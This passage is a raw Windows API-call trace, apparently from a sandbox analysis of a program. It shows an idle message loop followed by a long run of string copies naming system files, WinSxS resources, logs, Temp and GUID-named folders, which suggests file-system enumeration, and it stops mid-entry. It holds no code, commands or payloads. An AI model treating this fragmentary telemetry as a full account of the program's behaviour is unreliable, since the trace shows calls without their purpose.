[0130.894] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.895] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.895] GetTickCount () returned 0x1153219 [0130.895] IsWindowVisible (hWnd=0x30268) returned 0 [0130.895] Sleep (dwMilliseconds=0x0) [0130.986] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.986] CoFreeUnusedLibraries () [0130.986] GetTickCount () returned 0x1153267 [0130.986] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.986] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.986] GetTickCount () returned 0x1153267 [0130.986] IsWindowVisible (hWnd=0x30268) returned 0 [0130.986] Sleep (dwMilliseconds=0x0) [0131.093] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.093] CoFreeUnusedLibraries () [0131.094] GetTickCount () returned 0x11532d4 [0131.094] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.094] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.094] GetTickCount () returned 0x11532d4 [0131.094] IsWindowVisible (hWnd=0x30268) returned 0 [0131.094] Sleep (dwMilliseconds=0x0) [0131.192] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.192] CoFreeUnusedLibraries () [0131.192] GetTickCount () returned 0x1153341 [0131.192] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.192] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.192] GetTickCount () returned 0x1153341 [0131.192] IsWindowVisible (hWnd=0x30268) returned 0 [0131.192] Sleep (dwMilliseconds=0x0) [0131.293] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.293] CoFreeUnusedLibraries () [0131.293] GetTickCount () returned 0x115339f [0131.293] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.294] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.294] GetTickCount () returned 0x115339f [0131.294] IsWindowVisible (hWnd=0x30268) returned 0 [0131.294] Sleep (dwMilliseconds=0x0) [0131.398] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.399] CoFreeUnusedLibraries () [0131.399] GetTickCount () returned 0x115340c [0131.399] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.399] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.399] GetTickCount () returned 0x115340c [0131.399] IsWindowVisible (hWnd=0x30268) returned 0 [0131.399] Sleep (dwMilliseconds=0x0) [0131.575] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Windows\\System32\\IME\\IMEJP10\\APPLETS", iMaxLength=38 | out: lpString1="\\Windows\\System32\\IME\\IMEJP10\\APPLETS") returned="\\Windows\\System32\\IME\\IMEJP10\\APPLETS" [0131.576] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0131.576] lstrcpynW (in: lpString1=0x1436794, lpString2="IMJPKDIC.DLL", iMaxLength=13 | out: lpString1="IMJPKDIC.DLL") returned="IMJPKDIC.DLL" [0131.576] lstrcpynW (in: lpString1=0x14f55bc, lpString2="IMJPSKF.DLL", iMaxLength=12 | out: lpString1="IMJPSKF.DLL") returned="IMJPSKF.DLL" [0131.577] lstrcpynW (in: lpString1=0x14b498c, lpString2="mshwjpnrIME.dll", iMaxLength=16 | out: lpString1="mshwjpnrIME.dll") returned="mshwjpnrIME.dll" [0131.577] lstrcpynW (in: lpString1=0x1436794, lpString2="imkrapi.dll", iMaxLength=12 | out: lpString1="imkrapi.dll") returned="imkrapi.dll" [0131.577] lstrcpynW (in: lpString1=0x14da79c, lpString2="imkrtip.dll", iMaxLength=12 | out: lpString1="imkrtip.dll") returned="imkrtip.dll" [0131.577] lstrcpynW (in: lpString1=0x1436794, lpString2="imkrudt.dll", iMaxLength=12 | out: lpString1="imkrudt.dll") returned="imkrudt.dll" [0131.577] lstrcpynW (in: lpString1=0x14da79c, lpString2="imkrcac.dll", iMaxLength=12 | out: lpString1="imkrcac.dll") returned="imkrcac.dll" [0131.577] lstrcpynW (in: lpString1=0x1436794, lpString2="imkrskf.dll", iMaxLength=12 | out: lpString1="imkrskf.dll") returned="imkrskf.dll" [0131.578] lstrcpynW (in: lpString1=0x14b498c, lpString2="mshwkorrIME.dll", iMaxLength=16 | out: lpString1="mshwkorrIME.dll") returned="mshwkorrIME.dll" [0131.578] lstrcpynW (in: lpString1=0x14da79c, lpString2="imkrhjd.dll", iMaxLength=12 | out: lpString1="imkrhjd.dll") returned="imkrhjd.dll" [0131.578] lstrcpynW (in: lpString1=0x14f55e4, lpString2="ImSCCfg.DLL", iMaxLength=12 | out: lpString1="ImSCCfg.DLL") returned="ImSCCfg.DLL" [0131.578] lstrcpynW (in: lpString1=0x14da79c, lpString2="ImSCCore.dll", iMaxLength=13 | out: lpString1="ImSCCore.dll") returned="ImSCCore.dll" [0131.578] lstrcpynW (in: lpString1=0x14f55e4, lpString2="IMSCPROP.exe", iMaxLength=13 | out: lpString1="IMSCPROP.exe") returned="IMSCPROP.exe" [0131.578] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMSCTIP.dll", iMaxLength=12 | out: lpString1="IMSCTIP.dll") returned="IMSCTIP.dll" [0131.579] lstrcpynW (in: lpString1=0x14f55e4, lpString2="imscui.DLLX", iMaxLength=11 | out: lpString1="imscui.DLL") returned="imscui.DLL" [0131.579] lstrcpynW (in: lpString1=0x14da79c, lpString2="PMIGRATE.dll", iMaxLength=13 | out: lpString1="PMIGRATE.dll") returned="PMIGRATE.dll" [0131.579] lstrcpynW (in: lpString1=0x14f55e4, lpString2="PINTLCSA.dll", iMaxLength=13 | out: lpString1="PINTLCSA.dll") returned="PINTLCSA.dll" [0131.580] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMTCCFG.DLL", iMaxLength=12 | out: lpString1="IMTCCFG.DLL") returned="IMTCCFG.DLL" [0131.580] lstrcpynW (in: lpString1=0x14f55e4, lpString2="IMTCCORE.DLL", iMaxLength=13 | out: lpString1="IMTCCORE.DLL") returned="IMTCCORE.DLL" [0131.580] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMTCPROP.exe", iMaxLength=13 | out: lpString1="IMTCPROP.exe") returned="IMTCPROP.exe" [0131.580] lstrcpynW (in: lpString1=0x14f55e4, lpString2="IMTCTIP.dll", iMaxLength=12 | out: lpString1="IMTCTIP.dll") returned="IMTCTIP.dll" [0131.580] lstrcpynW (in: lpString1=0x14da79c, lpString2="imtcui.DLLX", iMaxLength=11 | out: lpString1="imtcui.DLL") returned="imtcui.DLL" [0131.580] lstrcpynW (in: lpString1=0x14f55e4, lpString2="IMTCCAC.dll", iMaxLength=12 | out: lpString1="IMTCCAC.dll") returned="IMTCCAC.dll" [0131.581] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMTCDIC.dll", iMaxLength=12 | out: lpString1="IMTCDIC.dll") returned="IMTCDIC.dll" [0131.581] lstrcpynW (in: lpString1=0x14f55e4, lpString2="IMTCSKF.dll", iMaxLength=12 | out: lpString1="IMTCSKF.dll") returned="IMTCSKF.dll" [0131.581] lstrcpynW (in: lpString1=0x14b498c, lpString2="MSHWCHTRIME.dll", iMaxLength=16 | out: lpString1="MSHWCHTRIME.dll") returned="MSHWCHTRIME.dll" [0131.581] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMCCPHR.exe", iMaxLength=12 | out: lpString1="IMCCPHR.exe") returned="IMCCPHR.exe" [0131.581] lstrcpynW (in: lpString1=0x14f55bc, lpString2="IMEAPIS.DLL", iMaxLength=12 | out: lpString1="IMEAPIS.DLL") returned="IMEAPIS.DLL" [0131.582] lstrcpynW (in: lpString1=0x14da79c, lpString2="imecfm.dllX", iMaxLength=11 | out: lpString1="imecfm.dll") returned="imecfm.dll" [0131.582] lstrcpynW (in: lpString1=0x14f55bc, lpString2="IMEPADSM.DLL", iMaxLength=13 | out: lpString1="IMEPADSM.DLL") returned="IMEPADSM.DLL" [0131.582] lstrcpynW (in: lpString1=0x14da79c, lpString2="IMEPADSV.EXE", iMaxLength=13 | out: lpString1="IMEPADSV.EXE") returned="IMEPADSV.EXE" [0131.582] lstrcpynW (in: lpString1=0x14f55bc, lpString2="IMETIP.DLLP", iMaxLength=11 | out: lpString1="IMETIP.DLL") returned="IMETIP.DLL" [0131.582] lstrcpynW (in: lpString1=0x14da79c, lpString2="imever.dllX", iMaxLength=11 | out: lpString1="imever.dll") returned="imever.dll" [0131.582] lstrcpynW (in: lpString1=0x14f55bc, lpString2="IMJKAPI.DLL", iMaxLength=12 | out: lpString1="IMJKAPI.DLL") returned="IMJKAPI.DLL" [0131.583] lstrcpynW (in: lpString1=0x14da79c, lpString2="MSCAND20.DLL", iMaxLength=13 | out: lpString1="MSCAND20.DLL") returned="MSCAND20.DLL" [0131.583] lstrcpynW (in: lpString1=0x14f55bc, lpString2="padrs404.dll", iMaxLength=13 | out: lpString1="padrs404.dll") returned="padrs404.dll" [0131.583] lstrcpynW (in: lpString1=0x14da79c, lpString2="padrs411.dll", iMaxLength=13 | out: lpString1="padrs411.dll") returned="padrs411.dll" [0131.583] lstrcpynW (in: lpString1=0x14f55bc, lpString2="padrs412.dll", iMaxLength=13 | out: lpString1="padrs412.dll") returned="padrs412.dll" [0131.583] lstrcpynW (in: lpString1=0x14da79c, lpString2="padrs804.dll", iMaxLength=13 | out: lpString1="padrs804.dll") returned="padrs804.dll" [0131.584] lstrcpynW (in: lpString1=0x14b498c, lpString2="cdosys.dll.muiĸ", iMaxLength=15 | out: lpString1="cdosys.dll.mui") returned="cdosys.dll.mui" [0131.584] lstrcpynW (in: lpString1=0x53af06c, lpString2="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952_comctl32.dll.mui_0da4e682`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952_comctl32.dll.mui_0da4e682") returned="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952_comctl32.dll.mui_0da4e682" [0131.584] lstrcpynW (in: lpString1=0x14b498c, lpString2="comctl32.dll.mui", iMaxLength=17 | out: lpString1="comctl32.dll.mui") returned="comctl32.dll.mui" [0131.584] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_it-it_d5c6fcd450b860a2_comdlg32.dll.mui_ac8e62f4", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_it-it_d5c6fcd450b860a2_comdlg32.dll.mui_ac8e62f4") returned="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_it-it_d5c6fcd450b860a2_comdlg32.dll.mui_ac8e62f4" [0131.584] lstrcpynW (in: lpString1=0x14b498c, lpString2="comdlg32.dll.mui", iMaxLength=17 | out: lpString1="comdlg32.dll.mui") returned="comdlg32.dll.mui" [0131.584] lstrcpynW (in: lpString1=0x14f55bc, lpString2="fms.dll.mui", iMaxLength=12 | out: lpString1="fms.dll.mui") returned="fms.dll.mui" [0131.585] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6ee25da4f6aaa40a_mlang.dll.mui_2904864a", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6ee25da4f6aaa40a_mlang.dll.mui_2904864a") returned="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_it-it_6ee25da4f6aaa40a_mlang.dll.mui_2904864a" [0131.585] lstrcpynW (in: lpString1=0x1436794, lpString2="mlang.dll.mui", iMaxLength=14 | out: lpString1="mlang.dll.mui") returned="mlang.dll.mui" [0131.585] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_it-it_31f2bea73f8ae0c2_msimsg.dll.mui_72e8994f", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_it-it_31f2bea73f8ae0c2_msimsg.dll.mui_72e8994f") returned="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_it-it_31f2bea73f8ae0c2_msimsg.dll.mui_72e8994f" [0131.585] lstrcpynW (in: lpString1=0x14b498c, lpString2="msimsg.dll.mui`", iMaxLength=15 | out: lpString1="msimsg.dll.mui") returned="msimsg.dll.mui" [0131.585] lstrcpynW (in: lpString1=0x14b4b84, lpString2="msprivs.dll.mui", iMaxLength=16 | out: lpString1="msprivs.dll.mui") returned="msprivs.dll.mui" [0131.586] lstrcpynW (in: lpString1=0x14b498c, lpString2="cdosys.dll.muiĸ", iMaxLength=15 | out: lpString1="cdosys.dll.mui") returned="cdosys.dll.mui" [0131.586] lstrcpynW (in: lpString1=0x53af06c, lpString2="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_ed8efda96cda0b2d_comctl32.dll.mui_0da4e682`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_ed8efda96cda0b2d_comctl32.dll.mui_0da4e682") returned="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_ed8efda96cda0b2d_comctl32.dll.mui_0da4e682" [0131.586] lstrcpynW (in: lpString1=0x14b4b84, lpString2="comctl32.dll.mui", iMaxLength=17 | out: lpString1="comctl32.dll.mui") returned="comctl32.dll.mui" [0131.586] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_77ec7be143d3727d_comdlg32.dll.mui_ac8e62f4", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_77ec7be143d3727d_comdlg32.dll.mui_ac8e62f4") returned="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_77ec7be143d3727d_comdlg32.dll.mui_ac8e62f4" [0131.586] lstrcpynW (in: lpString1=0x14b4b84, lpString2="comdlg32.dll.mui", iMaxLength=17 | out: lpString1="comdlg32.dll.mui") returned="comdlg32.dll.mui" [0131.586] lstrcpynW (in: lpString1=0x14f55e4, lpString2="fms.dll.mui", iMaxLength=12 | out: lpString1="fms.dll.mui") returned="fms.dll.mui" [0131.587] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_1107dcb1e9c5b5e5_mlang.dll.mui_2904864a", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_1107dcb1e9c5b5e5_mlang.dll.mui_2904864a") returned="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ja-jp_1107dcb1e9c5b5e5_mlang.dll.mui_2904864a" [0131.587] lstrcpynW (in: lpString1=0x14da79c, lpString2="mlang.dll.mui", iMaxLength=14 | out: lpString1="mlang.dll.mui") returned="mlang.dll.mui" [0131.587] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_d4183db432a5f29d_msimsg.dll.mui_72e8994f", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_d4183db432a5f29d_msimsg.dll.mui_72e8994f") returned="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ja-jp_d4183db432a5f29d_msimsg.dll.mui_72e8994f" [0131.587] lstrcpynW (in: lpString1=0x14b4b84, lpString2="msimsg.dll.mui`", iMaxLength=15 | out: lpString1="msimsg.dll.mui") returned="msimsg.dll.mui" [0131.587] lstrcpynW (in: lpString1=0x14b498c, lpString2="msprivs.dll.mui", iMaxLength=16 | out: lpString1="msprivs.dll.mui") returned="msprivs.dll.mui" [0131.587] lstrcpynW (in: lpString1=0x14b4b84, lpString2="cdosys.dll.muiĸ", iMaxLength=15 | out: lpString1="cdosys.dll.mui") returned="cdosys.dll.mui" [0131.588] lstrcpynW (in: lpString1=0x53af06c, lpString2="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_90f8da5e5f4ad243_comctl32.dll.mui_0da4e682`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_90f8da5e5f4ad243_comctl32.dll.mui_0da4e682") returned="amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_90f8da5e5f4ad243_comctl32.dll.mui_0da4e682" [0131.588] lstrcpynW (in: lpString1=0x14b498c, lpString2="comctl32.dll.mui", iMaxLength=17 | out: lpString1="comctl32.dll.mui") returned="comctl32.dll.mui" [0131.588] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_1b56589636443993_comdlg32.dll.mui_ac8e62f4", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_1b56589636443993_comdlg32.dll.mui_ac8e62f4") returned="amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_1b56589636443993_comdlg32.dll.mui_ac8e62f4" [0131.588] lstrcpynW (in: lpString1=0x14b498c, lpString2="comdlg32.dll.mui", iMaxLength=17 | out: lpString1="comdlg32.dll.mui") returned="comdlg32.dll.mui" [0131.588] lstrcpynW (in: lpString1=0x14f55bc, lpString2="fms.dll.mui", iMaxLength=12 | out: lpString1="fms.dll.mui") returned="fms.dll.mui" [0131.588] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_b471b966dc367cfb_mlang.dll.mui_2904864a", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_b471b966dc367cfb_mlang.dll.mui_2904864a") returned="amd64_microsoft-windows-mlang.resources_31bf3856ad364e35_6.1.7600.16385_ko-kr_b471b966dc367cfb_mlang.dll.mui_2904864a" [0131.589] lstrcpynW (in: lpString1=0x1436794, lpString2="mlang.dll.mui", iMaxLength=14 | out: lpString1="mlang.dll.mui") returned="mlang.dll.mui" [0131.589] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_77821a692516b9b3_msimsg.dll.mui_72e8994f", iMaxLength=126 | out: lpString1="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_77821a692516b9b3_msimsg.dll.mui_72e8994f") returned="amd64_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_77821a692516b9b3_msimsg.dll.mui_72e8994f" [0131.589] lstrcpynW (in: lpString1=0x14b498c, lpString2="msimsg.dll.mui`", iMaxLength=15 | out: lpString1="msimsg.dll.mui") returned="msimsg.dll.mui" [0131.589] lstrcpynW (in: lpString1=0x14b4b84, lpString2="msprivs.dll.mui", iMaxLength=16 | out: lpString1="msprivs.dll.mui") returned="msprivs.dll.mui" [0131.589] lstrcpynW (in: lpString1=0x14b498c, lpString2="AitEventLog.etl.001", iMaxLength=20 | out: lpString1="AitEventLog.etl.001") returned="AitEventLog.etl.001" [0131.589] lstrcpynW (in: lpString1=0x14b4b84, lpString2="AitEventLog.etl.002", iMaxLength=20 | out: lpString1="AitEventLog.etl.002") returned="AitEventLog.etl.002" [0131.590] lstrcpynW (in: lpString1=0x14b498c, lpString2="AitEventLog.etl.003", iMaxLength=20 | out: lpString1="AitEventLog.etl.003") returned="AitEventLog.etl.003" [0131.590] lstrcpynW (in: lpString1=0x14b4b84, lpString2="AitEventLog.etl.004", iMaxLength=20 | out: lpString1="AitEventLog.etl.004") returned="AitEventLog.etl.004" [0131.590] lstrcpynW (in: lpString1=0x14b498c, lpString2="AitEventLog.etl.005", iMaxLength=20 | out: lpString1="AitEventLog.etl.005") returned="AitEventLog.etl.005" [0131.590] lstrcpynW (in: lpString1=0x144bb04, lpString2="044a6734-e90e-4f8f-b357-b2dc8ab3b5ec", iMaxLength=37 | out: lpString1="044a6734-e90e-4f8f-b357-b2dc8ab3b5ec") returned="044a6734-e90e-4f8f-b357-b2dc8ab3b5ec" [0131.590] lstrcpynW (in: lpString1=0x14cf144, lpString2="09f06bfe-a3c8-40e3-846a-6e6f4000c238", iMaxLength=37 | out: lpString1="09f06bfe-a3c8-40e3-846a-6e6f4000c238") returned="09f06bfe-a3c8-40e3-846a-6e6f4000c238" [0131.590] lstrcpynW (in: lpString1=0x144bb04, lpString2="088482fa-65b8-4e17-9abf-1dcd48e8d373", iMaxLength=37 | out: lpString1="088482fa-65b8-4e17-9abf-1dcd48e8d373") returned="088482fa-65b8-4e17-9abf-1dcd48e8d373" [0131.591] lstrcpynW (in: lpString1=0x14cf144, lpString2="1f7b7221-ae8f-44f3-ba82-f7d260f51964", iMaxLength=37 | out: lpString1="1f7b7221-ae8f-44f3-ba82-f7d260f51964") returned="1f7b7221-ae8f-44f3-ba82-f7d260f51964" [0131.591] lstrcpynW (in: lpString1=0x144bb04, lpString2="2470470f-2634-478e-b181-571e98a789bb", iMaxLength=37 | out: lpString1="2470470f-2634-478e-b181-571e98a789bb") returned="2470470f-2634-478e-b181-571e98a789bb" [0131.591] lstrcpynW (in: lpString1=0x14cf144, lpString2="28011108-68df-4c73-b91b-57427d501bba", iMaxLength=37 | out: lpString1="28011108-68df-4c73-b91b-57427d501bba") returned="28011108-68df-4c73-b91b-57427d501bba" [0131.591] lstrcpynW (in: lpString1=0x144bb04, lpString2="2f57269b-1e09-4e2d-ab1e-b0fdac7d279c", iMaxLength=37 | out: lpString1="2f57269b-1e09-4e2d-ab1e-b0fdac7d279c") returned="2f57269b-1e09-4e2d-ab1e-b0fdac7d279c" [0131.591] lstrcpynW (in: lpString1=0x14cf144, lpString2="47536d45-eeec-4bdc-8183-a4dc1f8da9e4", iMaxLength=37 | out: lpString1="47536d45-eeec-4bdc-8183-a4dc1f8da9e4") returned="47536d45-eeec-4bdc-8183-a4dc1f8da9e4" [0131.591] lstrcpynW (in: lpString1=0x144bb04, lpString2="486d715e-6aa2-44cf-bc48-b6990cbb53c6", iMaxLength=37 | out: lpString1="486d715e-6aa2-44cf-bc48-b6990cbb53c6") returned="486d715e-6aa2-44cf-bc48-b6990cbb53c6" [0131.591] lstrcpynW (in: lpString1=0x14cf144, lpString2="7afcc0ca-7121-422a-ab45-b0e8d599ff08", iMaxLength=37 | out: lpString1="7afcc0ca-7121-422a-ab45-b0e8d599ff08") returned="7afcc0ca-7121-422a-ab45-b0e8d599ff08" [0131.592] lstrcpynW (in: lpString1=0x144bb04, lpString2="4c8b01a2-11ff-4c41-848f-508ef4f00cf7", iMaxLength=37 | out: lpString1="4c8b01a2-11ff-4c41-848f-508ef4f00cf7") returned="4c8b01a2-11ff-4c41-848f-508ef4f00cf7" [0131.592] lstrcpynW (in: lpString1=0x14cf144, lpString2="5a40e926-9e86-4b89-9cfd-b12311724371", iMaxLength=37 | out: lpString1="5a40e926-9e86-4b89-9cfd-b12311724371") returned="5a40e926-9e86-4b89-9cfd-b12311724371" [0131.592] lstrcpynW (in: lpString1=0x144bb04, lpString2="5b42dd9c-5a26-4f27-bb95-34603f0997e5", iMaxLength=37 | out: lpString1="5b42dd9c-5a26-4f27-bb95-34603f0997e5") returned="5b42dd9c-5a26-4f27-bb95-34603f0997e5" [0131.592] lstrcpynW (in: lpString1=0x14cf144, lpString2="FlashUtil32_11_2_202_233_ActiveX.dll", iMaxLength=37 | out: lpString1="FlashUtil32_11_2_202_233_ActiveX.dll") returned="FlashUtil32_11_2_202_233_ActiveX.dll" [0131.592] lstrcpynW (in: lpString1=0x144bb04, lpString2="5f5a18eb-dc73-4e45-a11c-b59043598412", iMaxLength=37 | out: lpString1="5f5a18eb-dc73-4e45-a11c-b59043598412") returned="5f5a18eb-dc73-4e45-a11c-b59043598412" [0131.592] lstrcpynW (in: lpString1=0x14cf144, lpString2="613612ba-897d-44ce-8dc1-8fc283f9fd51", iMaxLength=37 | out: lpString1="613612ba-897d-44ce-8dc1-8fc283f9fd51") returned="613612ba-897d-44ce-8dc1-8fc283f9fd51" [0131.593] lstrcpynW (in: lpString1=0x144bb04, lpString2="6738ba6e-ea75-4b6b-b8b8-71f0336dd8ef", iMaxLength=37 | out: lpString1="6738ba6e-ea75-4b6b-b8b8-71f0336dd8ef") returned="6738ba6e-ea75-4b6b-b8b8-71f0336dd8ef" [0131.593] lstrcpynW (in: lpString1=0x14cf144, lpString2="72db7465-bc54-491b-a92a-4637a28c9bbf", iMaxLength=37 | out: lpString1="72db7465-bc54-491b-a92a-4637a28c9bbf") returned="72db7465-bc54-491b-a92a-4637a28c9bbf" [0131.593] lstrcpynW (in: lpString1=0x144bb04, lpString2="753c47ae-ec5e-44b3-95a9-2c8e553f0e39", iMaxLength=37 | out: lpString1="753c47ae-ec5e-44b3-95a9-2c8e553f0e39") returned="753c47ae-ec5e-44b3-95a9-2c8e553f0e39" [0131.593] lstrcpynW (in: lpString1=0x14cf144, lpString2="81540b9f-b5bf-47eb-9c95-be195bf2c664", iMaxLength=37 | out: lpString1="81540b9f-b5bf-47eb-9c95-be195bf2c664") returned="81540b9f-b5bf-47eb-9c95-be195bf2c664" [0131.593] lstrcpynW (in: lpString1=0x144bb04, lpString2="9435f817-fed2-454e-88cd-7f78fda62c48", iMaxLength=37 | out: lpString1="9435f817-fed2-454e-88cd-7f78fda62c48") returned="9435f817-fed2-454e-88cd-7f78fda62c48" [0131.593] lstrcpynW (in: lpString1=0x14cf144, lpString2="994c86ad-a929-4b2c-88a0-4e25a107a029", iMaxLength=37 | out: lpString1="994c86ad-a929-4b2c-88a0-4e25a107a029") returned="994c86ad-a929-4b2c-88a0-4e25a107a029" [0131.593] lstrcpynW (in: lpString1=0x144bb04, lpString2="9979cb83-103a-4105-9e5d-c74b0af6d198", iMaxLength=37 | out: lpString1="9979cb83-103a-4105-9e5d-c74b0af6d198") returned="9979cb83-103a-4105-9e5d-c74b0af6d198" [0131.594] lstrcpynW (in: lpString1=0x14f55e4, lpString2="MpCmdRun.log", iMaxLength=13 | out: lpString1="MpCmdRun.log") returned="MpCmdRun.log" [0131.594] lstrcpynW (in: lpString1=0x14da79c, lpString2="\\Windows\\Temp", iMaxLength=14 | out: lpString1="\\Windows\\Temp") returned="\\Windows\\Temp" [0131.594] lstrcpynW (in: lpString1=0x14cf144, lpString2="a35bb7a6-5f0c-4c9f-8450-2b3bed532d51", iMaxLength=37 | out: lpString1="a35bb7a6-5f0c-4c9f-8450-2b3bed532d51") returned="a35bb7a6-5f0c-4c9f-8450-2b3bed532d51" [0131.624] lstrcpynW (in: lpString1=0x144bb04, lpString2="a6af9377-77ce-47ab-ad7d-ec32cad0c82d", iMaxLength=37 | out: lpString1="a6af9377-77ce-47ab-ad7d-ec32cad0c82d") returned="a6af9377-77ce-47ab-ad7d-ec32cad0c82d" [0131.624] lstrcpynW (in: lpString1=0x14cf144, lpString2="a48cabbf-24c8-4b87-b00f-9261807c3b43", iMaxLength=37 | out: lpString1="a48cabbf-24c8-4b87-b00f-9261807c3b43") returned="a48cabbf-24c8-4b87-b00f-9261807c3b43" [0131.624] lstrcpynW (in: lpString1=0x144bb04, lpString2="a7c73732-9f11-4281-8d19-764d4ec9d94d", iMaxLength=37 | out: lpString1="a7c73732-9f11-4281-8d19-764d4ec9d94d") returned="a7c73732-9f11-4281-8d19-764d4ec9d94d" [0131.625] lstrcpynW (in: lpString1=0x14cf144, lpString2="ac4e5acf-89f7-4220-ba21-81ee183975e2", iMaxLength=37 | out: 